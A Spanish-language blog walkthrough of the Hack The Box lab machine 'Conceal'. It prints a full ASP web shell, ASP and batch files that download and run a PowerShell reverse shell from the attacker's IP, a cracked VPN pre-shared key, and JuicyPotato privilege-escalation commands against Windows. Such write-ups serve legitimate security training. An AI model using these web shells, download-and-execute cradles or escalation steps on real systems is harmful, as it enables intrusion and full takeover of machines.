This page looks best with JavaScript enabled

Hack The Box - Conceal

 •  ✍️ sckull

Conceal expone el puerto SNMP donde obtuvimos informacion para generar la configuracion para una VPN y posteriormente conectarnos a esta. Obtuvimos acceso a la maquina con una web shell en FTP que luego actualizamos a una shell de PowerShell. SetImpersonatePrivilege es el privilegio que explotamos con Juicy Potato para escalar privilegios.

Nombre Conceal box_img_maker
OS

Windows

Puntos 40
Dificultad Dificil
IP 10.10.10.116
Maker

bashlogic

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[7.8, 7.5, 6.8, 3.2, 2.5],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

MASSCAN

1
2
3
4
5
6
7
masscan -p1-65535,U:1-65535 10.10.10.116 --rate=1000 -e tun0

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-01-27 00:03:27 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 161/udp on 10.10.10.116</pre>

SNMP PORT

Utilizando un modulo de metasploit para obtener informacion, el modulo es el siguiente auxiliary/scanner/snmp/snmp_enum.

image

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[*] System information:

Host IP                       : 10.10.10.116
Hostname                      : Conceal
Description                   : Hardware: Intel64 Family 6 Model 79 Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 15063 Multiprocessor Free)
Contact                       : IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43
Location                      : -
Uptime snmp                   : 00:10:11.23
Uptime system                 : 00:09:45.96
System date                   : 2019-3-2 04:26:04.7

IKE VPN password PSK

Utilizamos el wordlist rockyou y hashcat para desencriptar la contraseña.

1
9c8b1a372b1878851be2c097031b6e43 NTLM : Dudecake1!

IKE VPN

SETUP IPSEC - IKE VPN

Utilizamos strongswan para poder conectarnos mediante una VPN IKE y su configuracion es la siguiente.

Instalamos strongswan:

1
sudo apt install strongswan

Configuramos los siguientes archivos.

[/etc/ipsec.conf]

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
conn conceal
	authby=secret
	auto=route
	ike=3des-sha1-modp1024
	left=10.10.12.184
	right=10.10.10.116
	keyexchange=ikev1
	type=transport
	esp=3des-sha1 
	rightprotoport=tcp

[/etc/ipsec.secrets]

1
2
10.10.12.184 : PSK "Dudecake1!"
10.10.10.116 : PSK "Dudecake1!"

STATUS IPSEC

image

NMAP - IPSEC

image

SMB - IPSEC

image

RPC - IPSEC

image

FTP - IPSEC

Nos conectamos como usuario anonymous pero no encontramos nada dentro.
image

HTTP - IPSEC

Enumerando con gobuster encontramos solo una direccion.
image

/upload

image

WEBSHELL

Para obtener una webshell utilizamos ftp para subir nuestra webshell y visitar /upload/cmd.asp para interactuar con este.

WEBSHELL

https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.asp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)
    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>


<HTML>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>
</HTML>

image

Obtenemos nuestra webshell y podemos ejecutar comandos en la maquina.

image

REVERSE SHELL - Nishang

Utilizamos una de las shells que tiene Nishang, y configuramos un archivo asp para subirlo por ftp y al visitar dicho archivo obtener una shell inversa.

En nuestro archivo Invoke-PowerShellTcp.ps1 agregamos la sigueinte linea al final del archivo para ejecutar nuestra shell inversa cuando este sea descargado, con la IP y el puerto al que se va a conectar.

1
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.188 -Port 443

Nuestro archivo rev_shell.asp contiene lo siguiente.

1
2
3
4
<%@ Language=VBScript %>
<%
  call Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.188/Invoke-PowerShellTcp.ps1')")
%>

USER

Obtenemos nuestra bandera user.txt.
image

Systeminfo

image

Sherlok

Utilizando Sherlok para buscar parches que nos pueda servir para escalar privilegios, no encontramos ninguno :/.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
PS C:\Users\Destitute\Documents> iex(new-object net.webclient).downloadstring('http://10.10.14.188/Sherlok.ps1')
PS C:\Users\Destitute\Documents> ls
PS C:\Users\Destitute\Documents> Find-Allvulns


Title      : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID      : 2010-0232
Link       : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not supported on 64-bit systems

Title      : Task Scheduler .XML
MSBulletin : MS10-092
CVEID      : 2010-3338, 2010-3888
Link       : https://www.exploit-db.com/exploits/19930/
VulnStatus : Not Vulnerable

Title      : NTUserMessageCall Win32k Kernel Pool Overflow
MSBulletin : MS13-053
CVEID      : 2013-1300
Link       : https://www.exploit-db.com/exploits/33213/
VulnStatus : Not supported on 64-bit systems

Title      : TrackPopupMenuEx Win32k NULL Page
MSBulletin : MS13-081
CVEID      : 2013-3881
Link       : https://www.exploit-db.com/exploits/31576/
VulnStatus : Not supported on 64-bit systems

Title      : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID      : 2014-4113
Link       : https://www.exploit-db.com/exploits/35101/
VulnStatus : Not Vulnerable

Title      : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID      : 2015-1701, 2015-2433
Link       : https://www.exploit-db.com/exploits/37367/
VulnStatus : Not Vulnerable

Title      : Font Driver Buffer Overflow
MSBulletin : MS15-078
CVEID      : 2015-2426, 2015-2433
Link       : https://www.exploit-db.com/exploits/38222/
VulnStatus : Not Vulnerable

Title      : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID      : 2016-0051
Link       : https://www.exploit-db.com/exploits/40085/
VulnStatus : Not supported on 64-bit systems

Title      : Secondary Logon Handle
MSBulletin : MS16-032
CVEID      : 2016-0099
Link       : https://www.exploit-db.com/exploits/39719/
VulnStatus : Not Vulnerable

Title      : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID      : 2016-0093/94/95/96
Link       : https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-034?
VulnStatus : Not Vulnerable

Title      : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID      : 2016-7255
Link       : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135
VulnStatus : Not Vulnerable

Title      : Nessus Agent 6.6.2 - 6.10.3
MSBulletin : N/A
CVEID      : 2017-7199
Link       : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.html
VulnStatus : Not Vulnerable

WHOAMI /priv

Revisamos si SeImpersonatePrivilege esta disponible en la maquina y con el usuario que actualmente tenemos una shell para poder utilizar JuicyPotato para obtener NT AUTHORITY\SYSTEM.

image

PRIVILEGE ESCALATION - JuicyPotato

Para escalar privilegios vamos a utilizar un nuevo documento Invoke-PowerShellTcp-potato.ps1 que contiene una shell inversa, tambien un archivo reverse_shell.bat el cual va ser ejecutado por JuicyPotato.exe.

reverse_shell.bat

1
powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.12.64/Invoke-PowerShellTcp-potato.ps1')

CLSID

Para obtener CLSID para juicypotato vamos a utilizar los siguientes comandos en powershell.

1
2
3
New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT
$CLSID = Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}
$CLSID

image

Nos imprimira un alista de AppID y CLSID, copiamos y guardamos los CLSID en un archivo para probar cada uno de ellos con el archivo test_clsid.bat de juicypotato.

image

Vamos a hacer un pequeño cambio en nuestro archivo test_clsid.bat, solo cambiamos la ruta de nuestros archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
@echo off
:: Starting port, you can change it
set /a port=10000
SETLOCAL ENABLEDELAYEDEXPANSION

FOR /F %%i IN (C:\Users\Destitute\Videos\tmp.list) DO (
   echo %%i !port!
   C:\Users\Destitute\Videos\JuicyPotato.exe -z -l !port! -c %%i >> C:\Users\Destitute\Videos\result.log
   set RET=!ERRORLEVEL!
   :: echo !RET!
   if "!RET!" == "1"  set /a port=port+1
)

Descargamos los archivos necesarios en la maquina.

image

Ejecutamos test_clsid.bat, el cual nos creara un archivo log (result.log) con las pruebas de CLSID que hay en la lista que creamos anteriormente.

image

Lista CLSID

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
7c5-91bf-4547-81ae-fec91a89dec5};CONCEAL\Destitute
{0fb40f0d-1021-4022-8da0-aab0588dfc8b};NT AUTHORITY\LOCAL SERVICE
{1BE1F766-5536-11D1-B726-00C04FB926AF};NT AUTHORITY\LOCAL SERVICE
{204810b9-73b2-11d4-bf42-00b0d0118b56};NT AUTHORITY\LOCAL SERVICE
{2e5e84e9-4049-4244-b728-2d24227157c7};NT AUTHORITY\LOCAL SERVICE
{30766BD2-EA1C-4F28-BF27-0B44E2F68DB7};NT AUTHORITY\SYSTEM
{42C21DF5-FB58-4102-90E9-96A213DC7CE8};NT AUTHORITY\SYSTEM
{42CBFAA7-A4A7-47BB-B422-BD10E9D02700};NT AUTHORITY\SYSTEM
{4661626C-9F41-40A9-B3F5-5580E80CB347};NT AUTHORITY\SYSTEM
{4B6C85F1-A6D9-433A-9789-89EA153626ED};NT AUTHORITY\SYSTEM
{6d8ff8d2-730d-11d4-bf42-00b0d0118b56};NT AUTHORITY\LOCAL SERVICE
{6d8ff8dc-730d-11d4-bf42-00b0d0118b56};NT AUTHORITY\LOCAL SERVICE
{6d8ff8dd-730d-11d4-bf42-00b0d0118b56};NT AUTHORITY\LOCAL SERVICE
{6d8ff8df-730d-11d4-bf42-00b0d0118b56};NT AUTHORITY\LOCAL SERVICE
{6d8ff8e1-730d-11d4-bf42-00b0d0118b56};NT AUTHORITY\LOCAL SERVICE
{6d8ff8e5-730d-11d4-bf42-00b0d0118b56};NT AUTHORITY\LOCAL SERVICE
{6d8ff8e7-730d-11d4-bf42-00b0d0118b56};NT AUTHORITY\LOCAL SERVICE
{7D096C5F-AC08-4F1F-BEB7-5C22C517CE39};NT AUTHORITY\SYSTEM
{8BC3F05E-D86B-11D0-A075-00C04FB68820};NT AUTHORITY\SYSTEM
{9678f47f-2435-475c-b24a-4606f8161c16};CONCEAL\Destitute
{97061DF1-33AA-4B30-9A92-647546D943F3};NT AUTHORITY\SYSTEM
{98068995-54d2-4136-9bc9-6dbcb0a4683f};CONCEAL\Destitute
{9acf41ed-d457-4cc1-941b-ab02c26e4686};CONCEAL\Destitute
{9E175B68-F52A-11D8-B9A5-505054503030};NT AUTHORITY\SYSTEM
{9E175B6D-F52A-11D8-B9A5-505054503030};NT AUTHORITY\SYSTEM
{A47979D2-C419-11D9-A5B4-001185AD2B89};NT AUTHORITY\LOCAL SERVICE
{A9B5F443-FE02-4C19-859D-E9B5C5A1B6C6};NT AUTHORITY\SYSTEM
{B31118B2-1F49-48E5-B6F5-BC21CAEC56FB};NT AUTHORITY\SYSTEM
{B52D54BB-4818-4EB9-AA80-F9EACD371DF8};NT AUTHORITY\SYSTEM
{C49E32C6-BC8B-11d2-85D4-00105A1F8304};NT AUTHORITY\SYSTEM
{C63261E4-6052-41FF-B919-496FECF4C4E5};NT AUTHORITY\SYSTEM
{CBC04AF1-25C7-4A4D-BB78-28284403510F};NT AUTHORITY\SYSTEM
{E48EDA45-43C6-48e0-9323-A7B2067D9CD5};NT AUTHORITY\SYSTEM
{e60687f7-01a1-40aa-86ac-db1cbf673334};NT AUTHORITY\SYSTEM
{E63DE750-3BD7-4BE5-9C84-6B4281988C44};NT AUTHORITY\SYSTEM
{FFE1E5FE-F1F0-48C8-953E-72BA272F2744};NT AUTHORITY\SYSTEM

Vamos a utilizar un CLSID ({FFE1E5FE-F1F0-48C8-953E-72BA272F2744}) con NT AUTHORITY\SYSTEM y una shell inversa (reverse_shell.bat).

1
.\JuicyPotato.exe -l 1227 -p C:\Users\Destitute\Videos\reverse_shell.bat -t * -c '{FFE1E5FE-F1F0-48C8-953E-72BA272F2744};'

De igual manera podemos utilizar uno de la lista que JuicyPotato tiene en su lista de Windows 10 Enterprise (https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_10_Enterprise).

ROOT

Obtenemos una shell NT AUTHORITY\SYSTEM o root :)

Y nuestra bandera root.txt.

image

Share on

Dany Sucuc
WRITTEN BY
sckull
CTF Player | RedTeamer & Pentester wannabe